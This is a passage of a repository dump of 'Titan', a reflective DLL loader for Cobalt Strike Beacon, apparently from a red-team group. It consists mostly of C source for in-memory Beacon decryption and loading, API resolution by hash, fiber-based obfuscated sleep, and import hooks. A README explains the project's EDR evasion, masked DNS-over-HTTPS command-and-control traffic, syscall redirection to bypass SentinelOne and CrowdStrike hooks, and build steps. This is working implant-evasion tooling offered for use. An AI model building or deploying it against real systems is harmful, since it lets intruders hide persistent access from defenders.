HEAP_ZERO_MEMORY, Stl ) ) != NULL ) { 1298 | /* Copy over the stack pointers */ 1299 | __builtin_memcpy( Stk, Prm.Rsp, Stl ); 1300 | 1301 | /* Set the event. If we fail, free the stack */ 1302 | if ( ! NT_SUCCESS( Api.NtSetEvent( Prm.Ev2, NULL ) ) ) { 1303 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk ); 1304 | Stk = NULL; 1305 | }; 1306 | }; 1307 | }; 1308 | }; 1309 | } 1310 | }; 1311 | }; 1312 | /* Close! */ 1313 | Api.NtClose( Prm.Ev2 ); 1314 | }; 1315 | /* Close! */ 1316 | Api.NtClose( Prm.Ev1 ); 1317 | }; 1318 | /* Close! */ 1319 | Api.NtClose( Thd ); 1320 | 1321 | /* Do we still have a valid stack */ 1322 | if ( Stk != NULL ) { 1323 | /* Create a thread pointing @ RtlUserThreadStart */ 1324 | if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) { 1325 | /* Query TEB information */ 1326 | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { 1327 | Teb = C_PTR( Tbi.TebBaseAddress ); 1328 | Ptr = C_PTR( U_PTR( Teb->NtTib.StackBase ) - Stl ); 1329 | 1330 | /* Copy over the frame */ 1331 | __builtin_memcpy( Ptr, Stk, Stl ); 1332 | 1333 | /* Capture information about the thread */ 1334 | Ctx.ContextFlags = CONTEXT_FULL; 1335 | 1336 | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { 1337 | /* Set information about the frame */ 1338 | Ctx.ContextFlags = CONTEXT_FULL; 1339 | Ctx.Rsp = U_PTR( Ptr ); 1340 | Ctx.Rip = U_PTR( Api.NtWaitForSingleObject ); 1341 | Ctx.Rcx = U_PTR( Handle ); 1342 | Ctx.Rdx = U_PTR( FALSE ); 1343 | Ctx.R8 = U_PTR( Timeout ); 1344 | 1345 | /* Set information about the frame */ 1346 | if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) { 1347 | /* Convert to a fiber */ 1348 | if ( ( Fbr.Master = Api.ConvertThreadToFiber( &Fbr ) ) != NULL ) { 1349 | /* Create a fiber pointing at our obfuscate sleep routine */ 1350 | if ( ( Fbr.Slaves = Api.CreateFiber( 0x1000 * 2, C_PTR( G_SYM( ObfSleepFiber ) ), &Fbr ) ) != NULL ) { 1351 | /* Switch to the obfuscate fiber */ 1352 | Fbr.Thread = C_PTR( Thd ); 1353 | Fbr.SwitchToFiber( Fbr.Slaves ); 1354 | 1355 | /* Query the thread exit status */ 1356 | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { 1357 | /* Capture NtWaitForSingleObject Return Value */ 1358 | Nst = Tbi.ExitStatus; 1359 | }; 1360 | 1361 | /* Delete the fiber */ 1362 | Api.DeleteFiber( Fbr.Slaves ); 1363 | }; 1364 | /* Convert back to a thread */ 1365 | Api.ConvertFiberToThread(); 1366 | }; 1367 | }; 1368 | }; 1369 | }; 1370 | /* Close */ 1371 | Api.NtClose( Thd ); 1372 | }; 1373 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk ); 1374 | }; 1375 | }; 1376 | /* Dereference! */ 1377 | Api.LdrUnloadDll( K32 ); 1378 | }; 1379 | 1380 | /* Zero out stack structures */ 1381 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 1382 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 1383 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 1384 | RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) ); 1385 | RtlSecureZeroMemory( &Prm, sizeof( Prm ) ); 1386 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 1387 | RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) ); 1388 | 1389 | /* Status */ 1390 | return Nst; 1391 | }; 1392 | 1393 | #endif 1394 | -------------------------------------------------------------------------------- /Obf.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Executes NtWaitForSingleObject while obfuscated. 18 | * Once the wait has completed, the result will be 19 | * returned back to us. 20 | * 21 | !*/ 22 | D_SEC( E ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_ PLARGE_INTEGER Timeout ); 23 | -------------------------------------------------------------------------------- /OtherFile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Secidi0t/Titan/b97cce675ee1ff0d72cfffe71c066beb87b5c27f/OtherFile.zip -------------------------------------------------------------------------------- /Pe.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Searches for a export matching the specified hash. 18 | * 19 | !*/ 20 | 21 | D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash ) 22 | { 23 | ULONG Idx = 0; 24 | PUINT16 Aoo = NULL; 25 | PUINT32 Aof = NULL; 26 | PUINT32 Aon = NULL; 27 | PIMAGE_DOS_HEADER Hdr = NULL; 28 | PIMAGE_NT_HEADERS Nth = NULL; 29 | PIMAGE_DATA_DIRECTORY Dir = NULL; 30 | PIMAGE_EXPORT_DIRECTORY Exp = NULL; 31 | 32 | Hdr = C_PTR( Image ); 33 | Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew ); 34 | Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 35 | 36 | /* Has a EAT? */ 37 | if ( Dir->VirtualAddress ) { 38 | Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress ); 39 | Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames ); 40 | Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions ); 41 | Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals ); 42 | 43 | /* Enumerate exports */ 44 | for ( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx ) { 45 | /* Create a hash of the string and compare */ 46 | if ( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == Hash ) { 47 | return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] ); 48 | }; 49 | }; 50 | }; 51 | return NULL; 52 | }; 53 | -------------------------------------------------------------------------------- /Pe.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Searches for a export matching the specified hash. 18 | * 19 | !*/ 20 | 21 | D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash ); 22 | -------------------------------------------------------------------------------- /Peb.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Finds a module loaded in memory. 18 | * 19 | !*/ 20 | 21 | D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash ) 22 | { 23 | PPEB Peb = NULL; 24 | PLIST_ENTRY Hdr = NULL; 25 | PLIST_ENTRY Ent = NULL; 26 | PLDR_DATA_TABLE_ENTRY Ldr = NULL; 27 | 28 | /* Get pointer to list */ 29 | Peb = NtCurrentPeb(); 30 | Hdr = & Peb->Ldr->InLoadOrderModuleList; 31 | Ent = Hdr->Flink; 32 | 33 | for ( ; Hdr != Ent ; Ent = Ent->Flink ) { 34 | Ldr = C_PTR( Ent ); 35 | 36 | /* Compare the DLL Name! */ 37 | if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == Hash ) { 38 | return Ldr->DllBase; 39 | }; 40 | }; 41 | return NULL; 42 | }; 43 | -------------------------------------------------------------------------------- /Peb.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Finds a module loaded in memory. 18 | * 19 | !*/ 20 | 21 | D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash ); 22 | -------------------------------------------------------------------------------- /PipeList.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | typedef struct 14 | { 15 | LIST_ENTRY PipeList; 16 | HANDLE Pipe; 17 | } PIPE_ENTRY_BEACON, *PPIPE_ENTRY_BEACON ; 18 | -------------------------------------------------------------------------------- /PreMain.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | BOOLEAN 14 | WINAPI 15 | DllMain( HINSTANCE, DWORD, LPVOID ); 16 | 17 | typedef struct 18 | { 19 | D_API( NtUnmapViewOfSection ); 20 | D_API( NtQueryVirtualMemory ); 21 | D_API( NtFreeVirtualMemory ); 22 | D_API( DllMain ); 23 | } API ; 24 | 25 | /* API Hashes */ 26 | #define H_API_NTUNMAPVIEWOFSECTION 0x6aa412cd /* NtUnmapViewOfSection */ 27 | #define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */ 28 | #define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */ 29 | 30 | /* LIB Hashes */ 31 | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ 32 | 33 | /*! 34 | * 35 | * Purpose: 36 | * 37 | * Frees the memory associated with the 38 | * ReflectiveLoader before calling the 39 | * DllMain. 40 | * 41 | !*/ 42 | D_SEC( E ) VOID PreMain( _In_ PVOID ImageBase, _In_ ULONG AddressOfEntryPoint ) 43 | { 44 | API Api; 45 | MEMORY_BASIC_INFORMATION Mbi; 46 | 47 | PVOID Ret = NULL; 48 | SIZE_T Len = 0; 49 | 50 | /* Zero out stack structures */ 51 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 52 | RtlSecureZeroMemory( &Mbi, sizeof( Mbi ) ); 53 | 54 | Api.NtUnmapViewOfSection = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTUNMAPVIEWOFSECTION ); 55 | Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY ); 56 | Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTFREEVIRTUALMEMORY ); 57 | 58 | /* Get return address! */ 59 | Ret = C_PTR( __builtin_extract_return_addr( __builtin_return_address( 0 ) ) ); 60 | 61 | /* Free the memory associated with the Beacon */ 62 | if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Ret, MemoryBasicInformation, &Mbi, sizeof( Mbi ), NULL ) ) ) { 63 | if ( Mbi.Type == MEM_MAPPED ) { 64 | /* Free the section */ 65 | Api.NtUnmapViewOfSection( NtCurrentProcess(), Mbi.AllocationBase ); 66 | }; 67 | if ( Mbi.Type == MEM_PRIVATE ) { 68 | /* Free the virtual region */ 69 | Api.NtFreeVirtualMemory( NtCurrentProcess(), &Mbi.AllocationBase, &Len, MEM_RELEASE ); 70 | }; 71 | /* Call Main! */ 72 | Api.DllMain = C_PTR( U_PTR( ImageBase ) + AddressOfEntryPoint ); 73 | Api.DllMain( ImageBase, 1, NULL ); 74 | Api.DllMain( NULL, 4, NULL ); 75 | }; 76 | 77 | /* Does Not Return */ 78 | }; 79 | -------------------------------------------------------------------------------- /PreMain.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Frees the memory associated with the 18 | * ReflectiveLoader before calling the 19 | * DllMain. 20 | * 21 | !*/ 22 | D_SEC( E ) VOID PreMain( _In_ PVOID ImageBase, _In_ ULONG AddressOfEntryPoint ); 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # About 2 | 3 | Titan is a User Defined Reflective DLL ( URDLL ) that uses a combination of techniques to achieve initial execution and maintain shell stability for Cobalt Strike in a modern endpoint-deteciton and response heavy environment. 4 | 5 | Titan is designed to work specifically with Cobalt Strike and with Cobalt Strike alone. It could be ported to other frameworks, but likely is pointless in doing so. 6 | 7 | ## Table of Contents 8 | 9 | - [Techniques](#Techniques) 10 | - [Memory Evasion](#Memory-Evasion-Obfuscate-and-Sleep) 11 | - [DNS over HTTP(s)](#DNS-Now-with-DNS-over-HTTPs) 12 | - [Single Threaded](#Single-Thread) 13 | - [System Calls!](#Redirect-To-System-Calls) 14 | - [Setup](#Setup) 15 | 16 | ## Techniques 17 | 18 | ### Memory Evasion: Obfuscate and Sleep 19 | 20 | Titan implements a basic x86_64 memory evasion hook that hides the traces of its implant in memory with the help user-created timer callbacks, a technique popularized by NightHawk and implemented publicly by the user [Paul](https://twitter.com/c5pider) whom published the project under the name [Ekko](https://github.com/Cracked5pider/Ekko). However, both implementation have a few caveats and race conditions that lead to it being unstable. 21 | 22 | The latest version supports multiple sessions being spawned within the same process due to the creation of a new thread pool for each Beacon. It no longer breaks the host process's original queue if it is using one. 23 | 24 | It currently encryptes when Beacon waits for jobs to complete, while it is sleeping, and while SMB pipes are awaiting a connection, writing to a pipe, or reading from a named pipe to avoid detection when transfering data over the network. 25 | 26 | | Beacon | Obfuscated In Memory | 27 | |-----------------------|----------------------| 28 | | windows/reverse_https | TRUE | 29 | | windows/reverse_dns | TRUE | 30 | | windows/smb | TRUE | 31 | | windows/tcp | FALSE | 32 | 33 | ### DNS: Now with DNS over HTTP(s)! 34 | 35 | DNS beacons recieved a completed overhall that allowed them to send their traffic over a more secure DNS over HTTP(s) provider that is hardcoded within the hook code itself. Each and every request will be seen sent to those providers, masking the original DNS name with ease. If you wish that your traffic be sent over the original DNS protocol, then you can disable this hook. 36 | 37 | ### Single Thread 38 | 39 | Cobalt is largely single threaded on its own, but Titan forces it to be entirely single threaded. Unfortunately, this breaks some of the internal functionality such as Powershell-based commands 40 | at the cost of operational security. Largely, this should not break a majority of the functionality you're using, but will break some. 41 | 42 | ### Redirect To System Calls 43 | 44 | Some functions that involve remote process interaction are redirected to System Calls using a mapping of KnownDLLs for x86/x64/WOW64. It avoids some detections that SentinelOne/CrowdStrike implement with their inline hooks. 45 | 46 | ## Setup 47 | 48 | To start utilizing Titan, you will need to install `nasm`, `make`, `python3`, the [pefile module for python](https://github.com/erocarrera/pefile) and Mingw-w64. You will need the mingw-w64 compilers from musl.cc, which is available here for [x86_64-w64-mingw32-cross](https://musl.cc/x86_64-w64-mingw32-cross.tgz), and [i686-w64-mingw32-cross](https://musl.cc/i686-w64-mingw32-cross.tgz) to compile the code, as the ones available in your package managers is not updated to the latest versions. Once you've setup your compilers in the PATH, and installed the above packages, you can start compiling the source code! 49 | 50 | Example steps to download the cross-compilers and add them to your PATH: 51 | 52 | ``` 53 | # cd /root/tools 54 | # wget https://musl.cc/x86_64-w64-mingw32-cross.tgz 55 | # tar -xvf x86_64-w64-mingw32-cross.tgz 56 | # cd x86_64-w64-mingw32-cross/bin 57 | # export PATH=$(pwd):$PATH 58 | # cd /root/tools 59 | # wget https://musl.cc/i686-w64-mingw32-cross.tgz 60 | # tar -xvzf i686-w64-mingw32-cross.tgz 61 | # cd i686-w64-mingw32-cross/bin 62 | # export PATH=$(pwd):$PATH 63 | ``` 64 | 65 | A sample output is shown below 66 | 67 | ```shell=/bin/bash 68 | devvm:~/projects/kit/titan $ make 69 | /root/tools/i686-w64-mingw32-cross/bin/../lib/gcc/i686-w64-mingw32/11.2.1/../../../../i686-w64-mingw32/bin/ld: Titan.x86.exe:.text: section below image base 70 | /root/tools/i686-w64-mingw32-cross/bin/../lib/gcc/i686-w64-mingw32/11.2.1/../../../../i686-w64-mingw32/bin/ld: Titan.x86.exe:.edata: section below image base 71 | /root/tools/x86_64-w64-mingw32-cross/bin/../lib/gcc/x86_64-w64-mingw32/11.2.1/../../../../x86_64-w64-mingw32/bin/ld: Titan.x64.exe:.text: section below image base 72 | /root/tools/x86_64-w64-mingw32-cross/bin/../lib/gcc/x86_64-w64-mingw32/11.2.1/../../../../x86_64-w64-mingw32/bin/ld: Titan.x64.exe:.edata: section below image base 73 | ``` 74 | 75 | Success! You've successfully compiled the binary files needed to utilize it. To begin using it, include the `Titan.cna` into your Aggressor Scripts `Cobalt Strike > Script Manager`. Once you've imported the aggressor script into Cobalt, you can begin exporting an `raw` artifact to use with Shelter or embedding into your own artifact kit! 76 | 77 | ![](https://i.imgur.com/sI5Quif.png) 78 | -------------------------------------------------------------------------------- /Random.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | /* Definition */ 14 | ULONG 15 | NTAPI 16 | RtlRandomEx( 17 | _In_ PUINT32 Seed 18 | ); 19 | 20 | typedef struct 21 | { 22 | D_API( RtlRandomEx ); 23 | } API ; 24 | 25 | /* API Hashes */ 26 | #define H_API_RTLRANDOMEX 0x7f1224f5 /* RtlRandomEx */ 27 | 28 | /* LIB Hashes */ 29 | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ 30 | 31 | /*! 32 | * 33 | * Purpose: 34 | * 35 | * Returns a random string of the specified 36 | * length. 37 | * 38 | !*/ 39 | D_SEC( E ) VOID RandomString( _In_ PCHAR Buffer, _In_ UINT32 Length ) 40 | { 41 | API Api; 42 | 43 | PCHAR Alp = C_PTR( G_SYM( "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ) ); 44 | UINT32 Val = 0; 45 | 46 | /* Zero out stack structures */ 47 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 48 | 49 | /* Init API */ 50 | Api.RtlRandomEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLRANDOMEX ); 51 | 52 | /* Create buffer to hold the random string */ 53 | for ( INT Idx = 0 ; Idx < Length ; ++Idx ) { 54 | /* Generate random index */ 55 | Val = NtGetTickCount(); 56 | Val = Api.RtlRandomEx( &Val ); 57 | Val = Api.RtlRandomEx( &Val ); 58 | Val = Val % 26; 59 | 60 | /* Set character */ 61 | Buffer[ Idx ] = Alp[ Val ]; 62 | }; 63 | 64 | /* Zero out stack structures */ 65 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 66 | }; 67 | -------------------------------------------------------------------------------- /Random.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Returns a random string of the specified 18 | * length. 19 | * 20 | !*/ 21 | D_SEC( E ) VOID RandomString( _In_ PCHAR Buffer, _In_ UINT32 Length ); 22 | -------------------------------------------------------------------------------- /SectionLink.ld: -------------------------------------------------------------------------------- 1 | SECTIONS 2 | { 3 | .text : 4 | { 5 | *( .text$A ) 6 | *( .text$B ) 7 | *( .text$C ) 8 | *( .text$D ) 9 | *( .text$E ) 10 | *( .data* ) 11 | *( .rdata* ) 12 | *( .text$F ) 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Table.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | typedef struct __attribute__(( packed )) 14 | { 15 | TP_CALLBACK_ENVIRON PoolEnv; 16 | } TABLE_DEBUGGER ; 17 | 18 | /* Table allocated and stored on a test */ 19 | typedef struct __attribute__(( packed )) 20 | { 21 | CLIENT_ID ClientId; 22 | ULONG_PTR RxBuffer; 23 | ULONG_PTR RxLength; 24 | ULONG_PTR ImageLength; 25 | 26 | LIST_ENTRY HeapList; 27 | LIST_ENTRY PipeList; 28 | TABLE_DEBUGGER Debugger; 29 | } TABLE_HEAP, *PTABLE_HEAP ; 30 | 31 | typedef struct __attribute__(( packed )) 32 | { 33 | PTABLE_HEAP Table; 34 | } TABLE, *PTABLE ; 35 | -------------------------------------------------------------------------------- /Titan.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | typedef struct 14 | { 15 | D_API( NtAllocateVirtualMemory ); 16 | D_API( NtProtectVirtualMemory ); 17 | D_API( NtFreeVirtualMemory ); 18 | D_API( RtlAllocateHeap ); 19 | } API, *PAPI; 20 | 21 | #define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMemory */ 22 | #define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */ 23 | #define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */ 24 | #define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */ 25 | #define H_API_NTCLOSE 0x40d6e69d /* NtClose */ 26 | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ 27 | 28 | #ifndef PTR_TO_HOOK 29 | #define PTR_TO_HOOK( a, b ) U_PTR( U_PTR( a ) + G_SYM( b ) - G_SYM( Table ) ) 30 | #endif 31 | 32 | /*! 33 | * 34 | * Purpose: 35 | * 36 | * Loads Beacon into memory and executes its 37 | * entrypoint. 38 | * 39 | !*/ 40 | 41 | D_SEC( B ) VOID WINAPI Titan( VOID ) 42 | { 43 | API Api; 44 | ARC4_CTX Rc4; 45 | 46 | ULONG Aoe = 0; 47 | SIZE_T Prm = 0; 48 | SIZE_T SLn = 0; 49 | SIZE_T ILn = 0; 50 | SIZE_T Idx = 0; 51 | SIZE_T MLn = 0; 52 | SIZE_T ELn = 0; 53 | 54 | PVOID Enc = NULL; 55 | PVOID Mem = NULL; 56 | PVOID Map = NULL; 57 | PTABLE Tbl = NULL; 58 | PCONFIG Cfg = NULL; 59 | PIMAGE_DOS_HEADER Dos = NULL; 60 | PIMAGE_NT_HEADERS Nth = NULL; 61 | PIMAGE_SECTION_HEADER Sec = NULL; 62 | PIMAGE_DATA_DIRECTORY Dir = NULL; 63 | 64 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 65 | RtlSecureZeroMemory( &Rc4, sizeof( Rc4 ) ); 66 | 67 | /* Initialize API structures */ 68 | Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTALLOCATEVIRTUALMEMORY ); 69 | Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTPROTECTVIRTUALMEMORY ); 70 | Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTFREEVIRTUALMEMORY ); 71 | Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); 72 | 73 | /* Set config and buf length */ 74 | Cfg = C_PTR( G_END() ); 75 | ELn = Cfg->Rc4Len; 76 | 77 | /* Init the key */ 78 | arc4_init( &Rc4, Cfg->KeyBuf, sizeof( Cfg->KeyBuf ) ); 79 | 80 | if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Enc, 0, &ELn, MEM_COMMIT, PAGE_READWRITE ) ) ) { 81 | /* Decode Beacon into new memory region */ 82 | arc4_process( &Rc4, Cfg->Rc4Buf, Enc, Cfg->Rc4Len ); 83 | 84 | /* Setup Image Headers */ 85 | Dos = C_PTR( C_PTR( Enc ) ); 86 | Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); 87 | Sec = IMAGE_FIRST_SECTION( Nth ); 88 | 89 | /* Allocate Length For Hooks & Beacon */ 90 | ILn = ( ( ( Nth->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) ); 91 | SLn = ( ( ( G_END() - G_SYM( Table ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ); 92 | MLn = ILn + SLn; 93 | 94 | /* Create a page of memory that is marked as R/W */ 95 | if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Mem, 0, &MLn, MEM_COMMIT, PAGE_READWRITE ) ) ) { 96 | 97 | /* Copy hooks over the top */ 98 | __builtin_memcpy( Mem, C_PTR( G_SYM( Table ) ), U_PTR( G_END() - G_SYM( Table ) ) ); 99 | 100 | /* Get pointer to PE Image */ 101 | Map = C_PTR( U_PTR( Mem ) + SLn - Sec->VirtualAddress ); 102 | 103 | /* Copy sections over to new mem */ 104 | for ( Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { 105 | __builtin_memcpy( C_PTR( U_PTR( Map ) + Sec[ Idx ].VirtualAddress ), 106 | C_PTR( U_PTR( Dos ) + Sec[ Idx ].PointerToRawData ), 107 | Sec[ Idx ].SizeOfRawData ); 108 | }; 109 | 110 | /* Get a pointer to the import table */ 111 | Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 112 | 113 | if ( Dir->VirtualAddress ) { 114 | /* Process Import Table */ 115 | LdrProcessIat( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ) ); 116 | 117 | #if defined( _WIN64 ) 118 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x0e07cd7e, PTR_TO_HOOK( Mem, Sleep_Hook ) ); 119 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x84d15061, PTR_TO_HOOK( Mem, ReadFile_Hook ) ); 120 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xf1d207d0, PTR_TO_HOOK( Mem, WriteFile_Hook ) ); 121 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xfdb928e7, PTR_TO_HOOK( Mem, CloseHandle_Hook ) ); 122 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x436e4c62, PTR_TO_HOOK( Mem, ConnectNamedPipe_Hook ) ); 123 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xa05e2a6d, PTR_TO_HOOK( Mem, CreateNamedPipeA_Hook ) ); 124 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x0df1b3da, PTR_TO_HOOK( Mem, WaitForSingleObject_Hook ) ); 125 | #endif 126 | 127 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x4b184b05, PTR_TO_HOOK( Mem, HeapFree_Hook ) ); 128 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xadc4062e, PTR_TO_HOOK( Mem, HeapAlloc_Hook ) ); 129 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xc165d757, PTR_TO_HOOK( Mem, ExitThread_Hook ) ); 130 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x8641aec0, PTR_TO_HOOK( Mem, DnsQuery_A_Hook ) ); 131 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x3a5fb425, PTR_TO_HOOK( Mem, HeapReAlloc_Hook ) ); 132 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x98baab11, PTR_TO_HOOK( Mem, CreateThread_Hook ) ); 133 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xdecfc1bf, PTR_TO_HOOK( Mem, GetProcAddress_Hook ) ); 134 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5775bd54, PTR_TO_HOOK( Mem, VirtualAllocEx_Hook ) ); 135 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xfd1438ae, PTR_TO_HOOK( Mem, SetThreadContext_Hook ) 